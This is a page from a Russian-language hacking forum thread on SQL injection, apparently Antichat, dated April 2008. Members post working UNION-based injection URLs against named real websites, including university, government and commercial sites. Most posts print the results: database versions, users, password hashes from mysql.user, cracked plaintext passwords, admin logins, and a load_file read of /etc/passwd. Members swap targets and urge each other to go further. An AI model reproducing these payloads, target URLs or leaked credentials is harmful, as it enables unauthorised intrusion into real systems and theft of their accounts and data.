SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 262 of 798
  1. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    //A World Of Islands
    http://www.aworldofislands.com/modules/articles/article.php?id=-1+union+select+1,2,3,4,concat(version(),0x3a,database(),0x3a,user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
    version - 4.0.27-max-log
    user - [email protected]
    database - islands
     
    #5221 -=megahertz=-, 7 Apr 2008
  2. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    http://www.ipodhacks.com/article.php?sid=-2482+union+select+1,2,3,4,concat_ws(0x3A3a,version(),user(),database()),6,7,8,9,10,11/* :D

    PR-6

    4.0.27-standard:
    :ipodhack_user@localhost:
    :ipodhack_mainsite
     
    #5222 ThreeD, 7 Apr 2008
  3. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    http://www.auto-instructors.ru/user/comment_text.php?inid=-1+union+select+1,2,3,4,concat_ws(CHAR(58),VERSION(),DATABASE(),USER()),6,7,8,9/*
    не раскрыл: http://www.auto-instructors.ru/paper/interesting/index.php?sort=-stat
    4.1.22-log:wwwautoinstructo:autoinst@localhost


    http://www.rustoy.ru/dog.php?screen=1&id=-1+union+select+concat_ws(CHAR(58),DATABASE(),USER(),VERSION())/*
    kayrueru_rustoy:[email protected]:4.1.22
    http://www.rustoy.ru/dog.php?screen=1&id=-1+union+select+concat_ws(CHAR(58),name,password,email)+from+users/*
    admin:4acc53e9d2ce2f1df7c4c8f9588ffc29:[email protected]
    4acc53e9d2ce2f1df7c4c8f9588ffc29 = rusdog


    http://www.specialradio.ru/mkz/?id=-1+union+select+1,concat_ws(CHAR(58),DATABASE(),USER(),VERSION()),3,4,5,6,7,8,9/*
    host2283:host2283@localhost:4.0.27-log
    выключен отчет об ошибках, проверил 2-1


    http://www.trolza.ru/project.pl?id=-1+union+select+1,concat_ws(CHAR(58),VERSION(),DATABASE(),USER()),3,4,5,6/*
    5.0.27:trolza:trolza@localhost
    колонки какие-то драные, так же отчет об ошибках отключен
     
    #5223 Fuckel, 7 Apr 2008
    Last edited: 7 Apr 2008
    1 person likes this.
  4. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    Code:
    http://pilosos.com/web/mas_pilo/deportes.php?inid=9999999999+UNION+SELECT+1,2,3,concat(user,0x3a,password),5,6,7,8,9,10+from+mysql.user/*
    кто пройдет дальше отпишите чтоли)
     
    #5224 bag, 7 Apr 2008
  5. sD0S

    sD0S New Member

    Joined:
    26 Feb 2008
    Messages:
    3
    Likes Received:
    2
    Reputations:
    0
    http://www.lowensign.com/lowensign_v2/cart/show_cart.asp

    Version : Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
    Dec 17 2002 14:22:05
    Copyright (c) 1988-2003 Microsoft Corporation
    Desktop Engine on Windows NT 5.2 (Build 3790: Service Pack 1)

    Databases :
    "C:\Program Files\Microsoft SQL Server\MSSQL$CGLIVE2\Data\"
    master, tempdb, model, msdb, cg-live,
    LowenSignTest, lowensign, Sun, SchwanComp, cartTemp,
    lowensports, mining, emailMaster, carMakeModel, CGPartners,
    ReeceNicholsComp, Data
     
    #5225 sD0S, 7 Apr 2008
    Last edited: 7 Apr 2008
    1 person likes this.
  6. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    а че с antiбояном то, смотрю предыдущие сайты туда не добавленны!!!
     
    #5226 bag, 7 Apr 2008
  7. Muhacir

    Muhacir Elder - Старейшина

    Joined:
    5 Oct 2006
    Messages:
    91
    Likes Received:
    51
    Reputations:
    -2
    http://pilosos.com/web/mas_pilo/deportes.php?inid=9999999999+UNION+SELECT+1,2,3,load_file('/etc/passwd'),5,6,7,8,9,10+from+mysql.user/*

    load_file ;)
     
    #5227 Muhacir, 7 Apr 2008
    1 person likes this.
  8. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    Code:
    http://www.cerias.purdue.edu/about/FAQs/view.php?catid=99999999+UNION+SELECT+1,2,concat_ws(0x3a,username,userpasswd),4+from+dbforms_user/*
    5.0.44-log
    cerias_www
    [email protected]
    admin:fa70c9ea3c56f56440e565e28e046a6d

    Code:
    http://www.comexus.org.mx/Summer/participants.php?id=9999999+UNION+SELECT+concat(user,0x3a,password)+from+mysql.user/*
    5.0.27-standard
    [email protected]
    root:*9709835E424A4547ADC49E973DF05221F5788033

    Code:
    http://www.takj.gov.cn/show.php?id=9999999999999999'+UNION+SELECT+1,concat(user,0x3a,password),3,4,5,6,7,8,9,10,11+from+mysql.user+limit+0,1/*
    4.0.24-nt
    chengguo@localhost
    chengguo:255ae04c2135cdd9

    Code:
    http://www.sborsedlec.cz/index.php?option=com_myalbum&album=99999999/**/UNION/**/SELECT/**/1,2,concat(user,password),4,5+from+mysql.user/*
    5.0.45-Debian_1-log
    kamilecko@localhost
    root

    debian-sys-maint*E944BA4811D33C20C9DD89DB1669186D0AFBACE5


    Code:
    http://www.zacro.co.zw/index.php?option=com_myalbum&album=-1+union+select+1,2,password,4,5+from+mysql.user+limit+0,1/*
    *0D2F033F991098398763E1BBB9383BAA4C9D6683

    Code:
    http://techjobskollam.gov.in/index.php?option=com_myalbum&album=99999999/**/UNION/**/SELECT/**/1,2,concat(user,0x3a,password),4,5+from+mysql.user/*
    5.0.22
    root@localhost
    root:02793fd200b31a19

    Code:
    http://www.hhne.org/index.php?pgid=999999+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(user,0x3a,password),17+from+mysql.user/*
    yroot:499e19e660225444

    Code:
    http://wikipedia.aksw.org/index.php?qid=9999999999+UNION+SELECT+1,concat_ws(0x3a,user,password),3,4,5+from+mysql.user/*
    5.0.38-Dotdeb_1.dotdeb.0-log
    root@localhost
    root:*76AF2D7B9C25E2D32355578842125DE03FD0CFDD

    Code:
    http://www.mcguireglobalrecruitment.com/careerFairs.php?fid=9999999+UNION+SELECT+1,concat(user,0x3a,password),3,4,5,6,7+from+mysql.user/*
    5.0.37-standard
    mcguireglobal@localhost
    root:5a7f6b305ae8f33f : fpara

    Code:
    http://www.seaportvillage.com/restaurants/retailer.php?rid=999999999999/**/UNION/**/SELECT/**/1,concat_ws(0x3a,user,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+mysql.user+limit+0,1/*
    Code:
    http://www.seaportvillage.com/restaurants/retailer.php?rid=999999999999/**/UNION/**/SELECT/**/1,concat_ws(0x3a,user,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+mysql.user/[B][COLOR=RoyalBlue]*
    5.0.27
    website@localhost[/COLOR][/B]
    root:
    wikiuser:07b2a22645a08a9c : sup3rm@n

    Code:
    http://www.rba.ru/news/vid_news.php?id=999999999+UNION+SELECT+1,2,concat(user,password),4,5,6,7,8,9,10,11,12,13,14+from+mysql.user/*
    4.0.24_Debian-10sarge1-log
    root@localhost
    root
    nobody
    mnogo5a7004084ef44a99
    debian-sys-maint45688eb06db8e261
    super15c956b5675c9821
    test606717496665bcba
    rba

    Code:
    http://www.sdbireras.ru/product_detail.php?id=9999999+UNION+SELECT+user,password+from+mysql.user+limit+0,1/*
    4.1.20
    root@localhost
    root:765ba8f84be69cdd

    Code:
    http://www.artport.co.nz/view.php?med=9999999999999+UNION+SELECT+concat(user,0x3a,password),2,3,4+from+mysql.user/*
    4.0.20
    webuser@localhost
    root:57f7a24f45500f72
     
    #5228 bag, 8 Apr 2008
    Last edited: 8 Apr 2008
    5 people like this.
  9. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Было это или нет хз,но вот ))

    1. http://rusarhiiv.pohjarannik.ee/print.php?sid=-89+union+select+uname,2,3,4,5,6+from+nuke_users+limit+1,1

    http://rusarhiiv.pohjarannik.ee/print.php?sid=-89+union+select+pass,2,3,4,5,6+from+nuke_users+limit+1,1

    Тут два вариант - или моя голова не работает,или concat_ws xDD.

    2. http://www.laptopshowcase.co.uk/downloads.php?id=-1+group+by+10+union+select+1,2,id,4,5,6,7,8,9,10,11/

    Есь таблицы Suppliers, products и т.д. (подбирать не стал,лень :Р

    P.S. dipl.spb.ru был взломан, ток ща не работает )
     
    #5229 Велемир, 8 Apr 2008
  10. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.mirmet.spb.ru/catalog.php?g=1&c=-1+union+select+1,2,3,concat(user(),char(58),version(),char(58),database()),5,6,7/*

    mirmet@localhost
    4.0.23-standard
    db_mirmet
     
    #5230 truelamer, 8 Apr 2008
  11. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    bit16.ru
    Путь: /home/us4258/bit16.ru/www/src/title.php on line 74
    INJ:
    Отображаеться в теге
    PHP:
    <title></title>
    Database():db4258b
    Version():5.0.33
    user():us4258a@localhost
    :)
     
    #5231 Dimi4, 9 Apr 2008
  12. .acme

    .acme Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    126
    Likes Received:
    36
    Reputations:
    4
    http://www.endiama.co.ao/news.php?id=9999+union+select+1,2,3,4,concat_ws(0x40,id,username,password)+from+users+limit+0,1--

    1@webmaster@web123master
    2@endiama@endiama198web

    Пароли убили. :)

    http://gdf.org.ly/index.php?lang=en&CAT_NO=3&Page=105&DATA_NO=-136+union+select+1,2,3,concat_ws(0x40,user(),database(),version()),5,concat_ws(0x40,name,pass),7,8,9,10,11,12,13,14,15,16,17+from+users--

    gdforg_gdf@localhost@[email protected]
    Administrator@aa63633f1f89fa976bdbe073d9f2e2d3

    Учусь..

    http://www.soc.com.ly/media/index.php?cid=1&id=-9+union+select+1,concat_ws(0x40,user(),database(),version()),3,4,5,6,7,8,9,10,11,12+from+users/*
     
    #5232 .acme, 9 Apr 2008
    Last edited: 9 Apr 2008
    1 person likes this.
  13. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    Продажа программного обеспечения
    http://itex.ru/po/sale/?pid=-4+union+select+1--
    version - 5.0.41-log
    user - [email protected]
    database - itex
     
    #5233 -=megahertz=-, 10 Apr 2008
  14. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    уто ищо и рут походу
    _http://itex.ru/po/sale/?pid=-4+union+select+1,2,TABLE_NAME,4+from+information_schema.tables/*
    ;)
     
    #5234 Dimi4, 10 Apr 2008
    1 person likes this.
  15. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    я вкурсе, выкладываю тут не по причине незнания...
     
    #5235 -=megahertz=-, 10 Apr 2008
  16. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    http://www.downtowncrossing.org/shop/shop.php?id=-1+union+select+1,aes_decrypt(aes_encrypt(usr,0x71),0x71),3,4+from+ssp_usrs+limit+1,1--


    Table: ssp_usrs
    Columns: pwd,id,email,usr

    login: dca
    password: brigley1969

    login: kcrawford
    email: downtowncrossing.org
    password: 52fc3a


    table: admin
    column: user_id, username, password

    login: dca2
    password: kate

    login: dca1
    password: dertg1

    ПИЗДЕЦ......нет слов. ни один пасс не подходит. Есть ещё таблица ssp_account с полем account_id, но мя канкретно зае это уже). Без энкрипта лучше не пробывать, выдаёт ашиппку,хоть и не везде =___= (реагирует на поля pwd и usr).

    P.S. У кого дальше получится напишите в лс,или выложите тут. ОЧень интересно
     
    #5236 Велемир, 11 Apr 2008
    Last edited: 11 Apr 2008
  17. .acme

    .acme Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    126
    Likes Received:
    36
    Reputations:
    4
    http://www.tco.re/index.php?Page=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x40,user(),database(),version()),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

    user: tcoadmin@localhost
    database: tco
    version: 5.0.41-log

    mysql.user: tcoadmin@*76692089A5E971F66C637F66F48EB82E39EE04B3
     
    #5237 .acme, 11 Apr 2008
  18. .acme

    .acme Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    126
    Likes Received:
    36
    Reputations:
    4
    http://www.stat.uz/stat/index.php?lng=2&article=999+union+select+1,2,3,4,5,6,unhex(hex(concat_ws(0x3,user(),database(),version()))),8/*

    user: ODBC@localhost
    database: stat
    version: 4.1.12
     
    #5238 .acme, 11 Apr 2008
  19. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    слухай а мож тебе еще базу их тут выложить или еще ченить дать?
    делай сам...на этом получаешь опыт!
     
    #5239 -=megahertz=-, 11 Apr 2008
  20. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    Интернет магазин
    http://www.greatmagazines.co.uk/store/displayitem.asp?sid=69&id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--

    version - Microsoft SQL Server 2000 - 8.00.818 (Intel X86) May 31 2003 16:08:15 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

    неполучилось получить таблицы...
     
    #5240 -=megahertz=-, 11 Apr 2008
(You must log in or sign up to post here.)
Page 262 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.